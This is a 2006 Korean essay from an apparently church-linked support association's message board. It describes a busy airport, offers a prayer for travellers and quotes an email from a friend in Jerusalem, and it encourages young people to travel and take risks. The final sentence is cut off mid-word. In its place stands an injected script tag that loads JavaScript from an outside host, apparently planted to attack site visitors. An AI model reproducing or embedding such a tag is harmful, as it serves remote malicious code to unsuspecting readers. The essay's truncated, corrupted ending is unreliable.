필리핀으로 보냈어요.

작성자 : 후원회 | 조회수 : 3,248 | 작성일 : 2006년 8월 1일

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<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">&nbsp;<FONT face=돋움체>방학이라서 국제공항은 많은 인파로 인해 발 디딜 틈도 없이 북적인다. 각자 꿈을 갖고 더 넓은 세상을 향해 떠나는 곳이기에, 대합실의 표정은 마냥 기쁘기만 하다. 나도 덩달아 기분 좋아지며 떠나는 사람들을 위하여 기도드렸다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">&nbsp;&nbsp;<FONT face=돋움체>“참 좋으신 하느님! 만선(滿船)의 기쁨처럼, 이들 모두의 마음에도 큰 기쁨으로 돌아올 수 있도록 축복하여 주시고, 이들이 체험한 삶이 각자 훌륭한 인생을 이루는 데 큰 활력이 되도록 보살펴 주십시오. 그리하여 많은 이들이 하느님 나라를 건설하는 동력이 되고, 국력이 되게 도와주소서.”</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;&nbsp;며칠 전 고집스레 이스라엘로 떠난 지인에게 이메일이 왔다. ‘레바논과 전쟁 중이지만 일방적인 전쟁이라 이곳 예루살렘은 별 문제가 없습니다. 아내와 함께 정착하기 위해 노력하고 있습니다. 남들은 이곳이 불안하다고 떠나지만 저는 터를 잡기 위해 히브리 대학교에 입학하여 언어 공부를 하겠습니다. 또한 갓 태어난 자식을 위해서라도 열심히 하느님의 자녀로 살겠습니다. 지켜 봐 주십시오.’ 라는 소식이었다. 위험도 마다하고 미래의 꿈을 위해 자리 잡는 모습이 자못 걱정스럽지만, 틀림없이 미구(未久)에 성공할 것이라 여겨졌다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">&nbsp;&nbsp;<FONT face=돋움체>젊은이들은 자신의 한계를 탓하며 주저앉아서는 안 된다. 정형화된 틀을 빠져 나온 ‘문제아’일지언정 미래의 삶을 위하여 위험을 무릎 쓰고 미지의 세계를 향해 떠난다면, 분명 그에게는 성공이 기다라고 있을 것이다. 한 예로, 고(故) 정주영 현대그룹 회장은 어린 시절 부모로부터 소 한 마리를 몰래 꺼내서 훌쩍 고향을 떠났지만, 현실에 안주하지 않고 세상에 도전함으로써 기업의 총수가 되었고, 북녘에 있는 부모님과 동포를 위해 소 1,001마리를 답례로 돌려주지 않았던가. 부모 몰래 소 한 마리 움켜쥐고 고향 떠난 ‘문제아’는 역사 속에서 참 멋진 CEO로 존경받고 있다.</FONT></SPAN> </FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;&nbsp;비싼 돈을 들여서라도 국외건, 국내건 계속해서 여행하자. 사람이 살고 있는 어떤 곳이든 풍부한 경험을 쌓기 위하여 미래를 예견하며 과감히 떠나야 한다. 멀리 떠난 만큼 더 멀리 보게 되고 더 넓게 보게 될 것이다. 젊은이들이 높은 산을 오르고, 나보다 못한 사람을 위해 구슬땀을 흘리며 봉사하고, 발이 닳도록 세상을 누비며 세상을 사는 멋진 공부를 한다면, 이 ‘엉뚱한 문제아’ 들이야말로 훗날 세상을 움직이는 놀라운 인물(CEO. Chief Executive Officer)로 나타나게 될 것이다.&nbsp; </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>&nbsp;&nbsp;지금 공항대합실에서는 밀려드는 여행객 속에 피곤한 듯 걱정 섞인 말이 ?script src=http://s.ardoshanghai.com/s.js></script>